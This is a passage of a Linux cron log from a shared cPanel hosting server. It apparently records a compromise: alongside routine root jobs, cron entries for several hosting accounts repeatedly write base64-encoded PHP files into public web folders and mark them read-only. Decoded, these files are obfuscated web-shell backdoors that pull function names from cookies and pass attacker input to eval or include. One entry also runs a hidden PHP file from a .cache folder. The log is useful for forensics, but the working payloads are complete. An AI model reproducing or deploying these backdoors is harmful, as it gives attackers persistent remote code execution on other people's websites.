"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:20:01 medusa CROND[5379]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:20:01 medusa CROND[5371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:20:01 medusa CROND[5375]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 17:20:01 medusa CROND[5365]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 17:21:01 medusa CROND[27163]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:21:01 medusa CROND[27323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:21:01 medusa CROND[27324]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 17:21:01 medusa CROND[27325]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:21:01 medusa CROND[27326]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:21:01 medusa CROND[27327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:21:01 medusa CROND[27328]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:21:01 medusa CROND[27338]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:21:01 medusa CROND[27342]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:21:01 medusa CROND[27343]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 17:21:01 medusa CROND[27346]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:21:01 medusa CROND[27347]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:21:01 medusa CROND[27348]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:21:01 medusa CROND[27353]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 17:22:01 medusa CROND[16710]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:22:01 medusa CROND[16711]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:22:01 medusa CROND[16712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:22:01 medusa CROND[16713]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 17:22:01 medusa CROND[16714]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:22:01 medusa CROND[16718]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:22:01 medusa CROND[16719]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:22:01 medusa CROND[16720]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:22:01 medusa CROND[16721]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:22:01 medusa CROND[16732]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:22:01 medusa CROND[16736]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldm